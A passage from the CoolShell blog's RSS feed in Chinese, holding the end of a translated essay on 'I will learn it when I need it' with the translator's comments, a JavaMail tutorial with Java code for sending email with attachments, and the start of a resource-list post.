target=\"_blank\">十条不错的编程观点</a>”中的&#8221;Googling it&#8221; is okay）。</li>\n</ul>\n<p><span id=\"more-4235\"></span></p>\n<ul>\n<li>与此同时，你需要招聘到真正的专业级的人物（比如，你需要写一个很牛的解析程序来以图形化展示一下后台数据），那么你可能需要准备足够的啤酒和三明治，因为你可很有一段时间找不到这样的人。</li>\n</ul>\n<p>好了，其实，是有一些方法来区分，比如，我有更好的沟通能力，这就是为什么我可以做得更好。这是相当重要的，但是，<strong>如果我们用软能力而不是用技术能力来区分程序员的好坏 &#8211;  是不是有那么点反常和变态</strong>。我们所有人都可以沟通得很好，但是我们的代码乱成一团 :)。该死的，我本不应该说这事，我也有一点全才的样子。当然，我觉得我自己是一个 <a href=\"http://darrennegraeff.com/the-importance-of-t-shaped-individuals/\" target=\"_blank\">T型人才</a>（<strong>译注</strong>：即有深度又有广度），但是如果我们都非常诚实的话，我们会发现更多的人的能力是“横线型”或是“下划线型”的（<strong>译注</strong>：广度型），其中只有很少数的人才是有能力的。而我们的“T型人才”在这些人中就像一个巨大的钟乳石。<strong>你看上去像一个专家，但也许你从没有做过专家</strong>，这就是专才在满是全才的世界中的优势。</p>\n<h4>投资你的未来</h4>\n<p>我不想以说教的方式来告诉你人们应该怎么样来投资自己未来的职业生涯，因为每个人都知道我们应该怎么做。很多人也许认为他们正在投资，他们努力奋斗，写很多的代码，并也做一些阅读，当然，这样坚持下去，也许<a href=\"http://norvig.com/21-days.html\" target=\"_blank\">十年也可以成为一个专家</a>，而成为一个咨深专家可能需要20年（我会不断地说这些观点，总有一天我会把这个事说明白 :) ）。但是，如果真是这样的吧，每一个老家伙都会成为各个方面的专家，当然，事实是不会这样的。也许是因为人们不知道如何发展他们的专长（这是事实），但我私下里却怀疑，<strong>大家缺少的是热情而不是知识</strong>。我所说的这些东西难道不都是这样的原因吗？</p>\n<p>我完全跑题了。“在专业上投资未来”只是这些流行语中的一个，而重点是那句话 &#8211; “<strong><em>I will learn it when I need it &#8211; </em>我会在我需要的时候再学</strong>”。对我老爸来说这样做挺好，迄今为止对我也有效。但是让我们换一个角度看看，比如金融方面，如果我们说：“<strong>我会在我需要钱的时候再去进行投资</strong>”。在这句话上面那个实用主义的光环就不那么漂亮了。</p>\n<h4>你不知道你不知道的</h4>\n<p>我们都有过这样的时候，当我们痛苦地在解决一个问题的时候，有人突然告诉你一个算法或是一个技术，其把这个问题变得又快又简单。是的，有人告诉你一个容易的方法是一件很幸运的事，否则你可能需要花上数天或数周才能找到解决方法，并且事情可能会变得一团糟。你不会因此而被批评，因为你不知道你所不知道的东西。对此，“<strong><em>I will learn it when I need it &#8211; </em>我会在我需要的时候再学</strong>”在这个时候就走不通了。因为，<strong>你不可能学习那些你以为不存在的东西</strong>。Google做了很多的工作来减轻和缓解这样的问题，但并不完美。在一个陌生的环境下面对着一堆陌生的问题，会让你非常非常地痛苦，除非你知道你所面对的是什么（例如：如果你对搜索和约束传播（<em>constraint propagation</em>）有点了解的话，那你就可能 <a href=\"http://norvig.com/sudoku.html\" target=\"_blank\">容易地解决数独问题</a>，否则的话， <a href=\"http://xprogramming.com/xpmag/OkSudoku\" target=\"_blank\">这的确是</a> <a href=\"http://xprogramming.com/xpmag/SudokuMusings\" target=\"_blank\">非常</a> <a href=\"http://xprogramming.com/xpmag/Sudoku4\" target=\"_blank\">难的</a>）。你无法学习一种不知道或是你不知道用在哪里的算法。你也不可能去用一个你以为不存在的技术去解决一个问题。同样，你身边也不可以一直都有一个高人随时在给你指引正确的方向。我敢打赌，<strong>这个世界上有几十亿行代码可以被 几百万行更快，更清楚，更简单的代码所取代，因为无论是谁来写，他都不可能知道他所不知道的东西</strong>。</p>\n<p>我想在这里成为这个观点的反方，如果我们知道我们有哪些东西我们不知道，那么我们就知道我们需要去关注哪些东西。粗浅地尽可能的大范围的知道这些东西，那么，我们就可以在遇到问题的时候明白我们应该去更深地学什么样的知识。但是，这样来做在实际上并不有效，因为，<strong>这些浮云般的知识不会让你记下来</strong>，我们的大脑不是这样工作的。如果我们不去强化或是深度挖掘去消化这些概念， 我们的大脑会很快地 <a href=\"http://www.skorks.com/2009/09/become-a-better-developer-by-indexing-your-brain/\" target=\"_blank\">把这些信息标为不重要并换页出去</a>，这么做无非就是在浪费时间（你回头想一想你那些“填鸭式”的死记硬背的知识，你今天还记得吗？）然而，对于那些你集中精力深度研究过的东西——并伴随着你的兴趣的东西——你会收获到扎实的知识（那是你大脑里实际存下的不会忘的东西）。我的爷爷是一个核物理学家，数十年的在工作中获得这个领域中更深的知识让他今天成为了一个专家，同时也让他成为了一个优秀的数学家，不错的化学家，非常好的地理学家，还是一个合格的生物学家，等等。只需要一些 <a href=\"http://en.wikipedia.org/wiki/Empirical\" target=\"_blank\">观察性的证据</a> 你就知道<strong>广度的知识是深度研究的副产品</strong>。</p>\n<h4>你学得足够快吗？</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"Learn fast\" src=\"http://www.skorks.com/wp-content/uploads/2011/02/learn-fast-300x199.jpg\" alt=\"Learn fast\" vspace=\"5\" width=\"328\" height=\"217\" align=\"middle\" /></p>\n<p>有些东西你需要花很长的时间才能学会。我对自己有信心不需跳跃性的就能把一个我从没有见过的ORM框架学会，因为我以前用过相似的东西，它们在概念上是相同的。但是，如果你需要做一个把演讲转成文本的东西呢，这并不简单，因为你没有足够多的背景知识。你可以希望通过Google给你提供一些东西让你Copy/Paste，但这是一个很不好的做法，只有大学里的做研究的研究员干这种烂事。如果是要创建一个网站呢，我们都知道怎么去创建一个网站，但是有多少人会知道如何架构一个每天有一千万用户访问的网站？那么我们需要去学的就是怎么做扩容扩展，<strong>我相信你的用户需要等你一到两个月才能把速度提上去</strong> :)。是的，我太笨了，所有我需要做的就是去招一个专家，然后……嗯……哦等一下，我们的啤酒和三明治都不够了。</p>\n<h4>为什么我应该关心</h4>\n<p><strong>和高手在一起工作真是超爽无比</strong>。你也许以前经历过，他们每说的一件事总是新鲜的，总是有意思的，你能从他们每一行的代码中学到很多小技巧，你几乎可以感觉到你的大脑在不断膨胀:)。你想从高手学习，所以，如果你身边没有高手，那真是太糟糕了。因为每一个人只会去学那些“需要”被学的东西，所以没有人能教给你任何有意思的东西。然而，这些高手也总是想和高手一起工作， 所以，<strong>你需要做的事就是确定能让高手想和你一起工作？</strong>。按需所学也许是一个不错的技能，但其不应该成为程序员的价值观。是的，这是一个巨大的行业你不可能学习所有的东西，所以，你需要有所选择地把其学精，只要你有足够的好奇心去跟从你的兴趣，你会发现最终你会真正掌握很多很多其它的东西。如果你能把你的工作做好，那么其它的超级牛人都会想要和你一起工作，因为他们可以从你这学到东西，而你又可以从他们那里学到东西。这样一来，所有的人都会是成功者。</p>\n<p>Image by <a href=\"http://www.flickr.com/photos/samueleghilardi/2971657900/\" target=\"_blank\">SamueleGhilardi</a> and <a href=\"http://www.flickr.com/photos/specialkrb/3250756763/\">SpecialKRB</a></p>\n<p>—————————————————正文结束分割线——————————————————</p>\n<p>我在这里想说几个我的观点：</p>\n<ol>\n<li>我特别同意作者的，如果你把一个技术搞精搞深，你的知识面自然会很广的。</li>\n<li>面对于各种比较深的东西（比如C++的奇技淫巧），作为一个实用主义者可能很不屑，但是你也会为此而失去开阔眼界的机会。</li>\n<li>为明天做一些技术储备，因为你不知道你所缺的东西。多多阅读，多多交流，最好能把自己的心得写下来强化自己的认识和记忆。</li>\n<li>不要只寄望于在工作中学习，工作没有覆盖的地方你就不学了。真正的高手在工作之余都会花很多时间去自己研究点东西的。</li>\n<li>永远和高手一起工作。如果你面试的公司的面试太简单了，那就不要去，因为简单的面试通常意味着平庸。去那样的公司工作只会让你的学习速度变慢，甚至倒退。</li>\n<li>很多东西在概念上是相通的，在哲学层次上是相通的，这是你需要去追求的学习知识的境界。</li>\n<li>最后echo一下作者的话——“很多时候，你缺少的不是知识而是热情”！</li>\n</ol>\n<p>谢谢大家又花了一点看我的唠叨。呵呵。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4235.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>110</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>JavaMail使用</title>\n\t\t<link>https://coolshell.cn/articles/4261.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4261.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jjzhx_1211]]></dc:creator>\n\t\t<pubDate>Wed, 06 Apr 2011 15:05:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JavaMail]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4261</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（本文由网友jjzhx_1211投递，感谢!） 使用JavaMail需要两个包：activation-1.1.jar和mail-1.4.2.jar（当然现在最新...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4261.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4261.html\">JavaMail使用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>（<strong>本文由网友jjzhx_1211投递，感谢!</strong>）</p>\n<p>使用JavaMail需要两个包：activation-1.1.jar和mail-1.4.2.jar（当然现在最新的版本已经不止了），也可以直接包含Java SE 6的j2ee.jar，自带了前面的两个包。我把邮件功能写成了一个服务，发送邮件的数据都通过Map&lt;String, String&gt;类型的参数封装了起来。<strong>代码见文章最后</strong>。</p>\n<h4>Session</h4>\n<p>Session 定义了一个基本的邮件会话，任何工作都是基于这个Session的。Session 对象需要一个 java.util.Properties 对象来得到类似 邮件服务器，用户名，密码这样的信息。Session 的构造函数是私有的，可以通过 getDefaultInstance() 方法来取得一个单一的可以被共享的默认session 如：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Properties props = new Properties();\nSession session = Session.getDefaultInstance(props,null);</pre>\n<p>或者，可以使用 getInstance() 方法来创建一个唯一的 session如：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Properties props = new Properties();\nSession session = Session.getInstance(props,null);</pre>\n<p>在这两种方法中 其中的 null 参数是一个 Authenticator 对象，在这里没有被使用的，所以就是null。在大多数案例中，使用一个共享session 已经做够了。</p>\n<p><span id=\"more-4261\"></span></p>\n<h4>Message</h4>\n<p>一旦你创建了Session对象，那么下面要做的就是创建message来发送。Message是一个抽象类，在大部分应用中你可以使用它的子类javax.mail.internet.MimeMessage 。MimeMessage 是一个理解在不同RFCs中定义的MIME类型以及headers的e-mail message。Message headers 必须使用 US-ASCII 字符集。可以用如下的方法创建一个Message</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">MimeMessage message = new MimeMessage(session);</code></p>\n<p>我们注意到，这里需要用session对象作为构造函数的参数。当然，还有其它的构造函数，比如从用RFC822格式化过的输入流来创建message。</p>\n<p>一旦你得到了 message ,你就可以来设置它的各个部分（parts）。设置内容（content）的基本的机制是使用setContent() 方法。</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">message.setContent(&quot;Email Content. &quot;,&quot;text/plain&quot;);</code></p>\n<p>如果，你能够明确你的使用MimeMessage来创建message 并且只是使用普通的文本（plain text） 那么你也可以使用 setText() 方法，setTest()方法只需要设置具体的内容，它默认的MIME类型是 text/plain</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">message.setText(&quot;Email Content. &quot;);</code></p>\n<p>对于普通文本类型的邮件，有一种机制是首选（ message.setText(&#8220;Email Content. &#8220;)）的设置内容的方法。如果要创建其它类型的message ，比如　HTML类型的message   那么还是需要使用前者　（　message.setContent(&#8220;Email Content. &#8220;,&#8221;text/html&#8221;);　）<br />\n设置主题（subject ），使用setSubject() 方法</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">message.setSubject(&quot; Subject &quot;);</code></p>\n<h4>Address</h4>\n<p>当你已经创建Session 以及 Message，并且已经为message 填充了内容，那么接下来要做的就是给你的邮件添加一个地址（Address）。　就像Message一样，Address也是一个抽象类，我们可以使用它的一个子</p>\n<p>javax.mail.internet.InternetAddress</p>\n<p>创建一个地址非常简单</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Address address = new InternetAddress(&quot;&lt;a href=&quot;mailto:suixin@asiainfo.com&quot;&gt;suixin@asiainfo.com&lt;/a&gt;&quot;);</code></p>\n<p>如果，你希望在出现邮件地址的地方出现一个名称，那么你只需要再多传递一个参数。</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Address address = new InternetAddress(&quot;&lt;a href=&quot;mailto:suixin@asiainfo.com&amp;quot;,&amp;quot;Steve&quot;&gt;suixin@asiainfo.com&quot;,&quot;Steve&lt;/a&gt;&quot;);</code></p>\n<p>你需要为 message 的from以及 to 字段创建address对象。为了识别发送者，你需要使用setFrom() 和 setReplyTo() 方法。</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">messge.setFrom(address);</code></p>\n<p>如果你的message 需要显示多个 from 地址，可以使用 addFrom() 方法</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Address address[] = {....};\nmessage.addFrom(address);</pre>\n<p>为了辨识message 的收件人，你需要使用 setRecipient() 方法。这个方法除了address参数之外，还需要一</p>\n<p>Message.RecipientType 。<br />\nmessage.addRecipient(type,address);<br />\nMessage.RecipientType有几个预先定义好的类型<br />\nMessage.RecipientType.TO　　收件人<br />\nMessage.RecipientType.CC　　抄送<br />\nMessage.RecipientType.BCC　 暗送</p>\n<p>如果你的一封邮件，需要发送给你的老师，并还要给你的几个同学，那么你可以这样</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Address toAddress = new InternetAddress(&quot;&lt;a href=&quot;mailto:teacher@17288.com&quot;&gt;teacher@17288.com&lt;/a&gt;&quot;);\nAddress[] ccAddress = {new InternetAddress(&quot;&lt;a href=&quot;mailto:schoolmate1@17288.com&amp;quot;),new&quot;&gt;schoolmate1@17288.com&quot;),new&lt;/a&gt; InternetAddress(&quot;&lt;a href=&quot;mailto:schoolmate2@17288.com&quot;&gt;schoolmate2@17288.com&lt;/a&gt;&quot;)};\nmessage.addRecipient(Message.RecipientType.To, toAddress);\nmessage.addRecipient(Message.RecipientType.CC, ccAddress);</pre>\n<p>JavaMail 没有提供电子邮件地址有效性的检测。这些超越了JavaMail API的范围。</p>\n<h4>Authenticator</h4>\n<p>通过Authenticator设置用户名、密码，来访问受保护的资源，这里的资源一般指的是邮件服务器。</p>\n<p>Authenticator也是一个抽象类，你需要自己编写子类已备应用。你需要实现getPasswordAuthentication()方法，并返回一个PasswordAuthentication实例。你必须在 session被创建时， 注册你的 Authenticator。这样，当需要进行认证是，你的Authenticator就可以被得到。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Properties props = new Properties();\n//设置属性\nAuthenticator auth = new YourAuthenticator();\nSession session = Session.getDefaultInstance(props, auth);</pre>\n<h4>Transport</h4>\n<p>发送消息最后的一步就是使用Transport类，你可以通过两种方法来进行发送。<br />\nTransport 是一个抽象类，你可以调用它静态的send() 方法来发送</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Transport.send(message);</code></p>\n<p>或者，你可以为你使用的协议从session中取得一个指定的实例，</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Transport transport = session.getTransport(&quot;smtp&quot;);\ntransport.sendMessage(message, message.getAllRecipients());\ntransport.close();</pre>\n<h4>Store and Folder</h4>\n<p>这两个类重要用于取得信息。在创建了Session之后，需要连接到一个 Store ，你需要告诉Store你使用的是什么协议。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">// Store store = session.getStore(&quot;imap&quot;);\nStore store = session.getStore(&quot;pop3&quot;);\nstore.connect(host, username, password);</pre>\n<p>在连接到一个 Store 后，你可以得到一个 Folder，当然，这个Floder必须是打开的。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">Folder folder = store.getFolder(&quot;INBOX&quot;);\nfolder.open(Folder.READ_ONLY);\nMessage message[] = folder.getMessages();</pre>\n<p>如果使用POP3那么，INDEX是唯一可用的文件夹。如果使用的是IMAP，你就可以使用其它的文件夹。</p>\n<h4>代码</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public boolean sendEmail(Map&lt;String, String&gt; data) {\n    // 创建Properties 对象\n    Properties props = System.getProperties();\n    props.put(&quot;mail.smtp.host&quot;, Constants.HOST); // 全局变量\n    props.put(&quot;mail.smtp.auth&quot;, &quot;true&quot;);\n\n    // 创建邮件会话\n    Session session = Session.getDefaultInstance(props,\n    new Authenticator() { // 验账账户\n        @Override\n        public PasswordAuthentication getPasswordAuthentication() {\n            return new PasswordAuthentication(Constants.USERNAME,\n                                              Constants.PASSWORD);\n        }\n    });\n\n    try {\n        // 定义邮件信息\n        MimeMessage message = new MimeMessage(session);\n        message.setFrom(new InternetAddress(Constants.FROM));\n        message.addRecipient(\n            Message.RecipientType.TO,\n            new InternetAddress(\n                // 这里可以添加多个目的用户\n                data.get(Constants.EMAIL_TO)\n            )\n        );\n        // 添加邮件发送时间（不知道体现在哪儿）\n        message.setSentDate(new Date());\n        // 要编码，否则中文会出乱码，貌似这个方法是对数据进行了\n        //(&quot;=?GB2312?B?&quot;+enc.encode(subject.getBytes())+&quot;?=&quot;)形势的包装\n        message.setSubject(MimeUtility.encodeText(data.get(Constants.EMAIL_SUBJECT), &quot;gbk&quot;, &quot;B&quot;));\n\n        MimeMultipart mmp = new MimeMultipart();\n        MimeBodyPart mbp_text = new MimeBodyPart();\n        // &quot;text/plain&quot;是文本型，没有样式，\n        //&quot;text/html&quot;是html样式，可以解析html标签\n        mbp_text.setContent(data.get(Constants.EMAIL_TEXT),\n                            &quot;text/html;charset=gbk&quot;);\n        mmp.addBodyPart(mbp_text); // 加入邮件正文\n\n        // 处理附件，可以添加多个附件\n        if (data.get(Constants.EMAIL_ATTACHMENT) != null) {\n            String[] files = data.get(Constants.EMAIL_ATTACHMENT).split(&quot;,&quot;);\n            if (files.length != 0) {\n                for (String file : files) {\n                    MimeBodyPart mbp_file = new MimeBodyPart();\n                    FileDataSource fds = new FileDataSource(file);\n                    mbp_file.setDataHandler(new DataHandler(fds));\n                    mbp_file.setFileName(MimeUtility.encodeText(fds.getName(), &quot;gbk&quot;, &quot;B&quot;));\n                    mmp.addBodyPart(mbp_file);\n                }\n            }\n        }\n        message.setContent(mmp);\n        // message.setText(data.get(Constants.EMAIL_TEXT));\n\n        // 发送消息\n        // session.getTransport(&quot;smtp&quot;).send(message); //也可以这样创建Transport对象\n        Transport.send(message);\n        return true;\n    } catch (Exception e) {\n        e.printStackTrace();\n        return false;\n    }\n}\n</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4261.html\">JavaMail使用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4261.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些有意思的文章和资源</title>\n\t\t<link>https://coolshell.cn/articles/4220.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4220.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 06 Apr 2011 00:47:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[64bits]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[UX]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4220</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>又到了向大家介绍一些最近我在网上发现的有价值的东西的时候了。（下面的链接中很多都被墙） 以前向大家介绍过《一些重要的算法》和《算法和数据结构词典》，不过，你知道...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4220.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>又到了向大家介绍一些最近我在网上发现的有价值的东西的时候了。（下面的链接中很多都被墙）</p>\n<ul>\n<li>以前向大家介绍过《<a title=\"一些重要的算法\" href=\"https://coolshell.cn/articles/2583.html\" target=\"_blank\">一些重要的算法</a>》和《<a title=\"算法和数据结构词典\" href=\"https://coolshell.cn/articles/1499.html\" target=\"_blank\">算法和数据结构词典</a>》，不过，你知道有些什么样比较奇怪的数据结构吗？wikipedia上的这个词条可以让你看看<a href=\"http://en.wikipedia.org/wiki/List_of_data_structures\" target=\"_blank\">各种不同的数据结构</a>。比如：<a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Skip_list\">Skip lists</a>， <a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Bloom_filter\">Bloom filters</a>，或是什么<a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Dancing_Links\">Dancing links</a>。你也许会像一个以“<a title=\"如何学好C++语言\" href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\">如何学好C++</a>”中的朋友们所说的，不削于这种所谓的“奇技淫巧”，甚至觉得这太根本不实用。其实，这些东西还是有用的，至少对你开阔思路，活动编程思维能力很有意义。</li>\n</ul>\n<ul>\n<li>本站的关于<a href=\"https://coolshell.cn/tag/%e6%8e%92%e5%ba%8f\" target=\"_blank\">排序的文章</a>有很多，对于排序算法来说，其受到要排序的个数和数据的杂乱程度的影响，我们知道比较稳定的排序算法是快速排序和归并排序，归并排序对于大量的数据排序效果是非常好的，尤其是我们可以进行并行的排序。这里有一个并行归并排序的算法的源代码，你可以参考一下 &#8211; “<a href=\"http://dzmitryhuba.blogspot.com/2010/10/parallel-merge-sort.html\" target=\"_blank\">Parallel Merge 